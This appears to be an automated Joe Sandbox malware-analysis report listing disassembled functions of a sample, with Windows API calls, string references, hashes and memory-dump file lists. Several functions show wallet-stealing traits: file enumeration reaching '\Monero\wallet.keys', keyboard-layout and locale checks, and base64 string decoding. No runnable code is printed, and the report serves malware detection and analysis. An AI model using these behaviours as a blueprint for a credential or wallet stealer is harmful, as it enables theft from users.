Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 35a740134a5e8fecdd654467a60ff6797c2f2aade9b38c4972da5d96a8ad6d63
Instruction ID: 1d71b931798b2ba7a84ede27759f350fb0bf0591903587f3198e64e3b5ae4dc8
Opcode Fuzzy Hash: 35a740134a5e8fecdd654467a60ff6797c2f2aade9b38c4972da5d96a8ad6d63
Instruction Fuzzy Hash: A1F18FB183411D9ADB25EB60CC96EFEB378AF14780F8041B9A50E62095EF706B5ACE51

Function 002EDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003014B0,00300C2A), ref: 002EDAEB
StrCmpCA.SHLWAPI(?,003014B4), ref: 002EDB33
StrCmpCA.SHLWAPI(?,003014B8), ref: 002EDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 002EDDCC
FindClose.KERNEL32(000000FF), ref: 002EDDDE

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: fe827e04ed939d515771c945585d29274ba05c9f4b3f2472154f5115325f087a
Instruction ID: cc888fda876a46704b6b56c1d46ce6eaca426b813b9dfa52c8e92d557ded06d8
Opcode Fuzzy Hash: fe827e04ed939d515771c945585d29274ba05c9f4b3f2472154f5115325f087a
Instruction Fuzzy Hash: 149167B292010897CB14FB70DC56DFDB37DAF94340F408678F90A96195EE74AB298F92

Function 006B71E4 Relevance: 11.6, Strings: 8, Instructions: 1601COMMON

Download Yara Rule

Strings

n;{, xrefs: 006B779E
_\Zk, xrefs: 006B8148
@T_~, xrefs: 006B842E
8oYw, xrefs: 006B8331
`h}, xrefs: 006B80C7
r~, xrefs: 006B7363
i_z, xrefs: 006B822D
lh}, xrefs: 006B7456

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: i_z$8oYw$@T_~$_\Zk$`h}$lh}$r~$n;{
API String ID: 0-1618385194
Opcode ID: 408246dbac172228eacc6babe773573947c09b8d99deb7161da2605a9055ac2d
Instruction ID: a7ff3e87dc85bdeeb82e3ed1c26906b7363d829d1fc72479ac662f2b27c707af
Opcode Fuzzy Hash: 408246dbac172228eacc6babe773573947c09b8d99deb7161da2605a9055ac2d
Instruction Fuzzy Hash: C2B2F7F360C6049FE304AE2DEC8567ABBE9EF94720F16893DEAC4C7744E63558018697

Function 006B569E Relevance: 11.6, Strings: 8, Instructions: 1575COMMON

Download Yara Rule

Strings

{{, xrefs: 006B5855
rI>m, xrefs: 006B62CB
By:, xrefs: 006B5DFA
hb7, xrefs: 006B6805
+>gm, xrefs: 006B5E87
8mW, xrefs: 006B6664
o!m/, xrefs: 006B61FF
<f^_, xrefs: 006B5ADC

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +>gm$8mW$<f^_$By:$hb7$o!m/$rI>m${{
API String ID: 0-1382604001
Opcode ID: 3627b7cf5fc5baa4e3a1822640cc78f98c564c71c6a46a32c0a64d672335fdee
Instruction ID: 93dc53d2f3c8f9b20d0301f675ad25869ab0e60951bcd4c91b24214a63509a63
Opcode Fuzzy Hash: 3627b7cf5fc5baa4e3a1822640cc78f98c564c71c6a46a32c0a64d672335fdee
Instruction Fuzzy Hash: 08B2F4F360C2049FE3046E29EC8567AFBE9EF94720F16893DEAC487744EA3558418797

Function 002F7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

GetKeyboardLayoutList.USER32(00000000,00000000,003005AF), ref: 002F7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 002F7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 002F7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 002F7C62
LocalFree.KERNEL32(00000000), ref: 002F7D22

Strings

/ , xrefs: 002F7C7F

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 604367bb2d4cf10c41dfe80fd00f2ad3b1f9fb6104755337c096ca75a19bf085
Instruction ID: a34e14854b09396f942204630af2dbe66b3bffe3820d0ca6ca9a22a46c95b682
Opcode Fuzzy Hash: 604367bb2d4cf10c41dfe80fd00f2ad3b1f9fb6104755337c096ca75a19bf085
Instruction Fuzzy Hash: A6414AB192111CABDB24DB54DC99BFDF374EF54740F2041A9E20A62190DB742F95CFA1

Function 006AEC3B Relevance: 10.3, Strings: 7, Instructions: 1549COMMON

Download Yara Rule

Strings

\);Y, xrefs: 006AF8DA
,e?, xrefs: 006AF1F9
zw, xrefs: 006AFEEE
T{{, xrefs: 006AEC78
W}T{, xrefs: 006AF101
xA-, xrefs: 006AF4FC
f1[?, xrefs: 006AFB78

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,e?$T{{$W}T{$\);Y$f1[?$xA-$zw
API String ID: 0-3163517618
Opcode ID: b63b63a57caf3465324aaa28064a334c4f8d6211aee523cfaf3ce3cf6df8b336
Instruction ID: 5d2100e47ce1391f71552d22bba20fd3ad1b855030a57cd335aba85d78c13611
Opcode Fuzzy Hash: b63b63a57caf3465324aaa28064a334c4f8d6211aee523cfaf3ce3cf6df8b336
Instruction Fuzzy Hash: 70B2E6F390C204AFE3046E2DEC8566AFBE5EF94720F1A493DEAC4C3744E63598158697

Function 002EE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00300D73), ref: 002EE4A2
StrCmpCA.SHLWAPI(?,003014F8), ref: 002EE4F2
StrCmpCA.SHLWAPI(?,003014FC), ref: 002EE508
FindNextFileA.KERNEL32(000000FF,?), ref: 002EEBDF

Strings

\*.*, xrefs: 002EE44D

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 94931322381c07e0a0c697c2a429957a834b7fa264b9de774c5c88b8fe07be82
Instruction ID: 8a1f52c6fb8a46730cb133859b950a3bbe5f01db43e3c745b38f634d910a0bb6
Opcode Fuzzy Hash: 94931322381c07e0a0c697c2a429957a834b7fa264b9de774c5c88b8fe07be82
Instruction Fuzzy Hash: CE1231B192011C9ADB15FB60DC96EFDB338AF54780F4041B8B60E96095EE706F69CF92

Function 006BC23D Relevance: 9.1, Strings: 6, Instructions: 1636COMMON

Download Yara Rule

Strings

)[Tn, xrefs: 006BC849
0wx, xrefs: 006BCA3F
w;K, xrefs: 006BC45E
8{y, xrefs: 006BC5FB
F0_~, xrefs: 006BCBFB
mO, xrefs: 006BD245

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )[Tn$0wx$F0_~$w;K$8{y$mO
API String ID: 0-1004035091
Opcode ID: aaefebd9b1545668d6d61da3c5d9256461f2846d6febf4bf09a92b7b8b15a86b
Instruction ID: b25c40e62d445ddfd62c657b2f56c99edb65ba809999aa4de0616ddd7ef14d77
Opcode Fuzzy Hash: aaefebd9b1545668d6d61da3c5d9256461f2846d6febf4bf09a92b7b8b15a86b
Instruction Fuzzy Hash: E4B2E7F3A08204AFE314AE2DEC8577ABBE5EF94720F1A493DE6C4C3744E63558058697

Function 006B06E3 Relevance: 8.9, Strings: 6, Instructions: 1449COMMON

Download Yara Rule

Strings

+_-(, xrefs: 006B1164
#E:}, xrefs: 006B0781
wMi, xrefs: 006B0E00
WQsX, xrefs: 006B1402
m5}{, xrefs: 006B1493
I#9, xrefs: 006B0DE3

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #E:}$+_-($WQsX$m5}{$wMi$I#9
API String ID: 0-836572290
Opcode ID: 32b71fa010174552883d43e8ed6beeab45eff3224e7a1008c4620b28ff4dbf53
Instruction ID: 23f87acc7af7e226a218509567415d25c8d86844931873970e56dded1612107f
Opcode Fuzzy Hash: 32b71fa010174552883d43e8ed6beeab45eff3224e7a1008c4620b28ff4dbf53
Instruction Fuzzy Hash: D5A2D1F290C2009FE714AF29EC8567ABBE5EF94320F1A493DEAC4C3340E63558558797

Function 002E9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N.,00000000,00000000), ref: 002E9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,002E4EEE,00000000,?), ref: 002E9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N.,00000000,00000000), ref: 002E9B2A
LocalFree.KERNEL32(?,?,?,?,002E4EEE,00000000,?), ref: 002E9B3F

Strings

N., xrefs: 002E9AD4, 002E9AE1, 002E9AF9, 002E9B18, 002E9AE4, 002E9B1B

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N.
API String ID: 4291131564-1444805592
Opcode ID: 048df4069512b678bd5b6636b84fb2608b787a0e6d92bcad2e4f38bb74888d4d
Instruction ID: 26203c953a00010e4622e9a6acb2ac9753eb0cc534138c40a83bafef26f257ad
Opcode Fuzzy Hash: 048df4069512b678bd5b6636b84fb2608b787a0e6d92bcad2e4f38bb74888d4d
Instruction Fuzzy Hash: E311A2B4240208BFEB14CF64DC95FAA77B5FB8A704F208059FA159B390D7B6A941DB90

Function 006B8C42 Relevance: 7.9, Strings: 5, Instructions: 1664COMMON

Download Yara Rule

Strings

JBY, xrefs: 006B8F20
pr{{, xrefs: 006B9293
I`}<, xrefs: 006B92A8
E`, xrefs: 006B97CF
3e}}, xrefs: 006B9182

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3e}}$E`$I`}<$JBY$pr{{
API String ID: 0-997465392
Opcode ID: 7cf6599a59e889b7de2ea2791afb0a3d5de196288b5346b5a91cc2acb638082b
Instruction ID: e1674a0eccf158fa95c7c00aed3ed555a65662c4e3e60a20433e97187d61423a
Opcode Fuzzy Hash: 7cf6599a59e889b7de2ea2791afb0a3d5de196288b5346b5a91cc2acb638082b
Instruction Fuzzy Hash: 70B238F360C2049FE704AE2DEC8577ABBE5EF94320F198A3DE6C5C7744E63598018696

Function 006B3B7C Relevance: 7.9, Strings: 5, Instructions: 1629COMMON

Download Yara Rule

Strings

*So{, xrefs: 006B4653
I5o, xrefs: 006B438B
tXy, xrefs: 006B4915, 006B4919, 006B4946, 006B497B, 006B49BF
+{f, xrefs: 006B3D39
FO, xrefs: 006B4A05

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
